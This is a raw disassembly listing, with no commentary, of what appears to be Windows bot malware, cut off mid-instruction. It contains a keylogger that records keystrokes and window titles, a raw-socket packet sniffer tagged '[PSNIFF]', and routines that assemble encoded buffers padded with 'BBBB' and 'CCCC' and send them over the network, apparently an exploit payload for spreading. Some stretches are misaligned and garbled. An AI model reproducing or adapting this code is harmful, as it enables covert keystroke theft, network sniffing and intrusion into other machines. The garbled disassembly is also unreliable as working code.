mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call dword_433A50 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_433A64 ; GetWindowTextA mov ebx, 200h loc_402256: ; CODE XREF: sub_4021FB+2C7j push 8 call dword_41D05C ; Sleep call dword_433A50 ; GetForegroundWindow cmp eax, [ebp+var_8] jz short loc_4022DE lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_433A64 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_4DC] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_411EEE sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_40211A mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_411F70 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_411F70 add esp, 0Ch loc_4022DE: ; CODE XREF: sub_4021FB+6Cj mov [ebp+arg_0], offset aB ; "b" loc_4022E5: ; CODE XREF: sub_4021FB+2BDj push 10h call dword_4339A8 ; GetKeyState movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call dword_433A94 ; GetAsyncKeyState test ah, 80h jz short loc_40237D push 14h call dword_4339A8 ; GetKeyState test ax, ax jz short loc_40232E cmp esi, 0FFFFFFFFh jle short loc_40232E cmp edi, 40h jle short loc_40232E cmp edi, 5Bh jge short loc_40232E mov [ebp+edi*4+var_8DC], 1 jmp loc_4024AD ; --------------------------------------------------------------------------- loc_40232E: ; CODE XREF: sub_4021FB+112j ; sub_4021FB+117j ... push 14h call dword_4339A8 ; GetKeyState test ax, ax jz short loc_402359 test esi, esi jge short loc_40236D cmp edi, 40h jle short loc_402359 cmp edi, 5Bh jge short loc_402359 mov [ebp+edi*4+var_8DC], 2 jmp loc_4024AD ; --------------------------------------------------------------------------- loc_402359: ; CODE XREF: sub_4021FB+13Ej ; sub_4021FB+147j ... test esi, esi jge short loc_40236D mov [ebp+edi*4+var_8DC], 3 jmp loc_4024AD ; --------------------------------------------------------------------------- loc_40236D: ; CODE XREF: sub_4021FB+142j ; sub_4021FB+160j mov [ebp+edi*4+var_8DC], 4 jmp loc_4024AD ; --------------------------------------------------------------------------- loc_40237D: ; CODE XREF: sub_4021FB+105j mov esi, [ebp+edi*4+var_8DC] lea eax, [ebp+edi*4+var_8DC] test esi, esi jz loc_4024AD and dword ptr [eax], 0 lea eax, [ebp+var_2DC] cmp edi, 8 push eax jnz short loc_4023B5 call sub_4126F0 and [ebp+eax+var_2DD], 0 pop ecx jmp loc_4024AD ; --------------------------------------------------------------------------- loc_4023B5: ; CODE XREF: sub_4021FB+1A5j call sub_4126F0 cmp eax, 1B9h pop ecx jbe short loc_4023E7 call dword_433A50 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_433A64 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_402428 ; --------------------------------------------------------------------------- loc_4023E7: ; CODE XREF: sub_4021FB+1C5j cmp edi, 0Dh jnz loc_40247F lea eax, [ebp+var_2DC] push eax call sub_4126F0 test eax, eax pop ecx jz loc_4024AD call dword_433A50 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_433A64 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_402428: ; CODE XREF: sub_4021FB+1EAj lea eax, [ebp+var_4DC] push eax call sub_411EEE sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_40211A mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_411F70 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_411F70 add esp, 0Ch jmp short loc_4024AD ; --------------------------------------------------------------------------- loc_40247F: ; CODE XREF: sub_4021FB+1EFj cmp esi, 1 jz short loc_402498 cmp esi, 3 jz short loc_402498 cmp esi, 2 jz short loc_402493 cmp esi, 4 jnz short loc_4024AD loc_402493: ; CODE XREF: sub_4021FB+291j push [ebp+arg_0] jmp short loc_40249F ; --------------------------------------------------------------------------- loc_402498: ; CODE XREF: sub_4021FB+287j ; sub_4021FB+28Cj mov eax, [ebp+arg_0] add eax, 7 push eax loc_40249F: ; CODE XREF: sub_4021FB+29Bj lea eax, [ebp+var_2DC] push eax call sub_412610 pop ecx pop ecx loc_4024AD: ; CODE XREF: sub_4021FB+12Ej ; sub_4021FB+159j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_41FBA4 jl loc_4022E5 cmp [ebp+var_4], 0 jz loc_402256 push [ebp+var_D8] call sub_411CB6 pop ecx push 0 call near ptr 0AB0000h iret sub_4021FB endp ; --------------------------------------------------------------------------- loc_4024DC: ; DATA XREF: .nsp0:0040BBEDo push ebp mov ebp, esp mov eax, 102B4h call sub_412770 mov edx, [ebp+8] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp-0B4h] pop ecx mov [ebp-8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h lea eax, [ebp-1Ch] push esi push eax call sub_411F70 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push esi call dword_433AC8 ; ntohs push dword ptr [ebp-0B4h] mov [ebp-1Ah], ax call sub_408045 pop ecx push eax call dword_433B08 ; inet_addr push esi push 3 push 2 mov [ebp-18h], eax call dword_433B48 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-4], edi jnz short loc_4025B1 call dword_433A5C ; WSAGetLastError push eax lea eax, [ebp-2B4h] push offset unk_420574 push eax call sub_411EEE add esp, 0Ch cmp [ebp-28h], esi jnz short loc_402594 push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_40F9F1 add esp, 14h loc_402594: ; CODE XREF: .nsp0:00402572j lea eax, [ebp-2B4h] push eax call sub_408E17 push dword ptr [ebp-30h] call sub_411CB6 pop ecx pop ecx push esi call near ptr 0AB0000h setalc loc_4025B1: ; CODE XREF: .nsp0:00402552j mov eax, [ebp-30h] push 10h imul eax, 234h mov dword_438C64[eax], edi lea eax, [ebp-1Ch] push eax push edi call dword_433AF4 ; bind cmp eax, 0FFFFFFFFh jnz short loc_402636 call dword_433A5C ; WSAGetLastError push eax lea eax, [ebp-2B4h] push offset unk_42052C push eax call sub_411EEE add esp, 0Ch cmp [ebp-28h], esi jnz short loc_402612 push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_40F9F1 add esp, 14h loc_402612: ; CODE XREF: .nsp0:004025F0j lea eax, [ebp-2B4h] push eax call sub_408E17 pop ecx push edi call dword_433B60 ; closesocket push dword ptr [ebp-30h] call sub_411CB6 pop ecx push esi call near ptr 0AB0000h dec esp loc_402636: ; CODE XREF: .nsp0:004025D0j push esi lea eax, [ebp-20h] push esi push eax push esi push esi lea eax, [ebp-8] push 4 push eax push 98000001h push edi call dword_433A74 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short near ptr loc_4026B8+1 call dword_433A5C ; WSAGetLastError push eax lea eax, [ebp-2B4h] push offset unk_4204E0 push eax call sub_411EEE add esp, 0Ch cmp [ebp-28h], esi jnz short loc_402695 push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_40F9F1 add esp, 14h loc_402695: ; CODE XREF: .nsp0:00402673j lea eax, [ebp-2B4h] push eax call sub_408E17 pop ecx push edi call dword_433B60 ; closesocket push dword ptr [ebp-30h] call sub_411CB6 pop ecx push esi call near ptr 0AB0000h loc_4026B8: ; CODE XREF: .nsp0:00402653j ; .nsp0:004026BBj mov [ebx-45h], dl js short near ptr loc_4026B8+1 inc ecx add [edi+0FFFFh], bh ; CODE XREF: .nsp0:004026F7j ; .nsp0:00402709j ... lea eax, [ebp-102B4h] push edi push esi push eax call sub_411F70 add esp, 0Ch lea eax, [ebp-102B4h] push esi push edi push eax push dword ptr [ebp-4] call dword_433AE0 ; recv cmp eax, 0FFFFFFFFh jz loc_4027D1 cmp byte ptr [ebp-102ABh], 6 jnz short near ptr loc_4026BE+1 mov eax, [ebp-102A8h] cmp byte ptr [ebp-10293h], 18h mov [ebp-0Ch], eax jnz short near ptr loc_4026BE+1 lea eax, [ebp-1028Ch] push offset aPsniff ; "[PSNIFF]" push eax call sub_4124C0 pop ecx test eax, eax pop ecx jnz short near ptr loc_4026BE+1 mov eax, ebx xor edi, edi test eax, eax jz short near ptr loc_4026BE+1 mov [ebp+8], ebx loc_40272D: ; CODE XREF: .nsp0:00402748j push eax lea eax, [ebp-1028Ch] push eax call sub_4124C0 pop ecx test eax, eax pop ecx jnz short loc_40274F inc edi add dword ptr [ebp+8], 18h mov eax, [ebp+8] jnz short loc_40272D jmp near ptr loc_4026BE+1 ; --------------------------------------------------------------------------- loc_40274F: ; CODE XREF: .nsp0:0040273Ej lea eax, [ebp-1028Ch] push eax push dword ptr [ebp-102A0h] call dword_433A04 ; ntohs movzx eax, ax push eax push dword ptr [ebp-0Ch] call dword_433B54 ; inet_ntoa push eax lea eax, [edi+edi*2] mov eax, dword_41FC8C[eax*8] push off_41FC70[eax*4] lea eax, [ebp-2B4h] push offset unk_42048C push 200h push eax call sub_41246A add esp, 1Ch cmp [ebp-28h], esi jnz short loc_4027BF push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_40F9F1 add esp, 14h loc_4027BF: ; CODE XREF: .nsp0:0040279Dj lea eax, [ebp-2B4h] push eax call sub_408E17 pop ecx jmp near ptr loc_4026BE+1 ; --------------------------------------------------------------------------- loc_4027D1: ; CODE XREF: .nsp0:004026EAj call dword_433A5C ; WSAGetLastError push eax push offset unk_420444 lea eax, [ebp-2B4h] push 200h push eax call sub_41246A add esp, 10h cmp [ebp-28h], esi pop ebx jnz short loc_402817 push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_40F9F1 add esp, 14h loc_402817: ; CODE XREF: .nsp0:004027F5j lea eax, [ebp-2B4h] push eax call sub_408E17 pop ecx push dword ptr [ebp-4] call dword_433B60 ; closesocket push dword ptr [ebp-30h] call sub_411CB6 pop ecx push esi call near ptr 0AB0000h dec ecx ; =============== S U B R O U T I N E ======================================= sub_40283D proc near ; CODE XREF: sub_402AB1+Ep ; sub_402AB1+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40283D endp ; =============== S U B R O U T I N E ======================================= sub_402847 proc near ; CODE XREF: sub_402AB1+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41279F mov edi, eax pop ecx test edi, edi jz short loc_402879 push ebx push 0 push edi call sub_411F70 push ebx push [esp+1Ch+arg_0] push edi call sub_411FD0 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_402879: ; CODE XREF: sub_402847+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_402847 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402881 proc near ; CODE XREF: sub_40297B+18p ; sub_4029F5+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41279F mov esi, eax pop ecx test esi, esi jz short loc_4028CD push edi push 0 push esi call sub_411F70 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_411FD0 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_411FD0 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_4028CD: ; CODE XREF: sub_402881+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_402881 endp ; =============== S U B R O U T I N E ======================================= sub_4028D6 proc near ; CODE XREF: sub_40297B+5Ep ; sub_40297B+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4028E6 push eax call sub_412813 pop ecx loc_4028E6: ; CODE XREF: sub_4028D6+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_4028D6 endp ; =============== S U B R O U T I N E ======================================= sub_4028EF proc near ; CODE XREF: sub_40297B+20p ; sub_402A56+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40291C xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41279F mov edi, eax pop ecx test edi, edi jnz short loc_402920 loc_40291C: ; CODE XREF: sub_4028EF+Dj xor al, al jmp short loc_402977 ; --------------------------------------------------------------------------- loc_402920: ; CODE XREF: sub_4028EF+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_411F70 add esp, 0Ch cmp ebx, 1 jnz short loc_402945 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40295F ; --------------------------------------------------------------------------- loc_402945: ; CODE XREF: sub_4028EF+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40295F: ; CODE XREF: sub_4028EF+54j push eax call sub_411FD0 add esp, 0Ch push dword ptr [esi] call sub_412813 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_402977: ; CODE XREF: sub_4028EF+2Fj pop edi pop esi pop ebx retn sub_4028EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40297B proc near ; CODE XREF: sub_402AB1+89p ; sub_402AB1+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_432704 call sub_402881 lea ecx, [ebp+var_8] call sub_4028EF mov eax, [ebp+var_4] inc eax push eax call sub_41279F mov edi, eax pop ecx test edi, edi jnz short loc_4029B5 xor al, al jmp short loc_4029F1 ; --------------------------------------------------------------------------- loc_4029B5: ; CODE XREF: sub_40297B+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_411F70 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_411FD0 add esp, 18h mov ecx, esi call sub_4028D6 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_4028D6 mov al, 1 loc_4029F1: ; CODE XREF: sub_40297B+38j pop edi pop esi leave retn sub_40297B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4029F5 proc near ; CODE XREF: sub_402A29+14p ; sub_402A46+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_402881 mov ecx, esi call sub_4028D6 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_4029F5 endp ; =============== S U B R O U T I N E ======================================= sub_402A29 proc near ; CODE XREF: sub_402AB1+F0p ; sub_402AB1+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_4126F0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_4029F5 pop esi retn 4 sub_402A29 endp ; =============== S U B R O U T I N E ======================================= sub_402A46 proc near ; CODE XREF: sub_402A92+Bp ; sub_402AB1+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4029F5 retn 8 sub_402A46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A56 proc near ; CODE XREF: sub_402A92+16p ; sub_402AB1+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_4028EF test al, al jz short loc_402A8F push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_420927+1) call sub_402881 mov ecx, esi call sub_4028D6 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_402A8F: ; CODE XREF: sub_402A56+Fj pop esi leave retn sub_402A56 endp ; =============== S U B R O U T I N E ======================================= sub_402A92 proc near ; CODE XREF: sub_402AB1+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_402A46 test al, al jz short loc_402AAD mov ecx, esi call sub_402A56 loc_402AAD: ; CODE XREF: sub_402A92+12j pop esi retn 8 sub_402A92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402AB1 proc near ; CODE XREF: sub_4032B0+86p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40283D mov edi, 408h cmp [ebp+arg_8], edi jg loc_402E05 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_402E05 push esi lea ecx, [ebp+var_30] call sub_40283D lea ecx, [ebp+var_20] call sub_40283D lea ecx, [ebp+var_50] call sub_40283D lea ecx, [ebp+var_18] call sub_40283D lea ecx, [ebp+var_40] call sub_40283D lea ecx, [ebp+var_38] call sub_40283D lea ecx, [ebp+var_28] call sub_40283D push 4 push offset dword_4205C8 lea ecx, [ebp+var_30] call sub_4029F5 push 3 push offset dword_4205D0 lea ecx, [ebp+var_30] call sub_4029F5 lea ecx, [ebp+var_30] call sub_40297B lea ecx, [ebp+var_30] call sub_402A56 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_411F70 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_4029F5 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_4029F5 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_4029F5 lea ecx, [ebp+var_20] call sub_40297B push offset loc_420950 lea ecx, [ebp+var_50] call sub_402A29 lea ecx, [ebp+var_50] call sub_40297B push esi lea eax, [ebp+var_858] push 44h push eax call sub_411F70 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_402847 lea ecx, [ebp+var_58] call sub_40297B push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_402A92 lea ecx, [ebp+var_58] call sub_4028D6 push esi lea eax, [ebp+var_858] push 43h push eax call sub_411F70 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_402A29 push 4 push offset dword_4205D4 lea ecx, [ebp+var_18] call sub_4029F5 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_4029F5 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_4029F5 lea ecx, [ebp+var_18] call sub_40297B push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_402A46 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_402A46 lea ecx, [ebp+var_40] call sub_402A56 lea ecx, [ebp+var_18] call sub_4028D6 lea ecx, [ebp+var_50] call sub_4028D6 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_402A46 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_402A46 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_402A46 lea ecx, [ebp+var_38] call sub_402A56 lea ecx, [ebp+var_20] call sub_4028D6 lea ecx, [ebp+var_30] call sub_4028D6 lea ecx, [ebp+var_40] call sub_4028D6 push esi lea eax, [ebp+var_858] push 41h push eax call sub_411F70 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_4029F5 lea ecx, [ebp+var_28] call sub_40297B push 2 push offset dword_420944 lea ecx, [ebp+var_28] call sub_4029F5 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_402A46 lea ecx, [ebp+var_28] call sub_402A56 lea ecx, [ebp+var_38] call sub_4028D6 lea ecx, [ebp+var_10] call sub_40283D lea ecx, [ebp+var_8] call sub_40283D push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_402A46 lea ecx, [ebp+var_10] call sub_4028EF lea ecx, [ebp+var_28] call sub_4028D6 push offset dword_420940 lea ecx, [ebp+var_8] call sub_402A29 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_402A46 lea ecx, [ebp+var_8] call sub_4028EF lea ecx, [ebp+var_10] call sub_4028D6 push offset dword_42093C lea ecx, [ebp+var_10] call sub_402A29 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_402A46 lea ecx, [ebp+var_10] call sub_4028EF lea ecx, [ebp+var_8] call sub_4028D6 push offset dword_420930 lea ecx, [ebp+var_8] call sub_402A29 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_402A46 lea ecx, [ebp+var_8] call sub_4028EF lea ecx, [ebp+var_10] call sub_4028D6 push offset dword_42092C lea ecx, [ebp+var_48] call sub_402A29 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_402A46 lea ecx, [ebp+var_8] call sub_4028D6 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_402E13 ; --------------------------------------------------------------------------- loc_402E05: ; CODE XREF: sub_402AB1+1Bj ; sub_402AB1+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_402E13: ; CODE XREF: sub_402AB1+352j pop edi pop ebx leave retn sub_402AB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402E17 proc near ; CODE XREF: sub_402EDB+A1p ; sub_402EDB+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call dword_41D1E0 ; select cmp eax, edi jnz short loc_402E7E lea eax, [ebp+var_10C] push eax push esi call sub_41C9D6 ; __WSAFDIsSet test eax, eax jnz short loc_402E82 loc_402E7E: ; CODE XREF: sub_402E17+54j xor eax, eax jmp short loc_402E92 ; --------------------------------------------------------------------------- loc_402E82: ; CODE XREF: sub_402E17+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_433AE0 ; recv loc_402E92: ; CODE XREF: sub_402E17+69j pop edi pop esi leave retn sub_402E17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402E96 proc near ; CODE XREF: sub_402EDB+81p ; sub_402EDB+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_433AC4 ; ntohl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_433B18 ; send cmp eax, 4 jz short loc_402EC0 xor al, al leave retn ; --------------------------------------------------------------------------- loc_402EC0: ; CODE XREF: sub_402E96+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_433B18 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_402E96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402EDB proc near ; CODE XREF: sub_402FB5+48p ; sub_4032B0+181p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41279F mov esi, eax pop ecx test esi, esi jnz short loc_402F04 xor al, al jmp loc_402FB0 ; --------------------------------------------------------------------------- loc_402F04: ; CODE XREF: sub_402EDB+20j push ebx push 0 push esi call sub_411F70 push 2Fh push offset dword_420664 push esi call sub_411FD0 push 8 lea eax, [esi+31h] push offset dword_420694 push eax mov [esi+2Fh], di call sub_411FD0 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_411FD0 push 6 add ebx, edi push offset dword_4326FC push ebx call sub_411FD0 mov ebx, [ebp+arg_0] push 85h push offset dword_4205DC push ebx call sub_402E96 add esp, 48h test al, al jnz short loc_402F6C loc_402F68: ; CODE XREF: sub_402EDB+B5j xor bl, bl jmp short loc_402FA7 ; --------------------------------------------------------------------------- loc_402F6C: ; CODE XREF: sub_402EDB+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_402E17 push [ebp+var_4] push esi push ebx call sub_402E96 add esp, 1Ch test al, al jz short loc_402F68 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_402E17 add esp, 10h mov bl, 1 loc_402FA7: ; CODE XREF: sub_402EDB+8Fj push esi call sub_412813 pop ecx mov al, bl loc_402FB0: ; CODE XREF: sub_402EDB+24j pop edi pop esi pop ebx leave retn sub_402EDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402FB5 proc near ; CODE XREF: sub_4032B0+167p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_4206A0 push [ebp+arg_0] call dword_41D1DC ; send cmp eax, 48h jnz short loc_402FF0 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_402E17 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_402FF0 cmp [ebp+var_20], 82h jz short loc_402FF4 loc_402FF0: ; CODE XREF: sub_402FB5+1Bj ; sub_402FB5+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_402FF4: ; CODE XREF: sub_402FB5+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_402EDB add esp, 0Ch leave retn sub_402FB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403007 proc near ; CODE XREF: sub_403053+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_41D238 call sub_412964 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_41D230 fstp [esp+10h+var_10] call sub_412842 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_412964 inc eax leave retn sub_403007 endp ; =============== S U B R O U T I N E ======================================= sub_403053 proc near ; CODE XREF: sub_4031F5+24p var_40 = qword ptr -40h mov eax, offset loc_41CB33 call sub_412E30 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_4036CA push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call 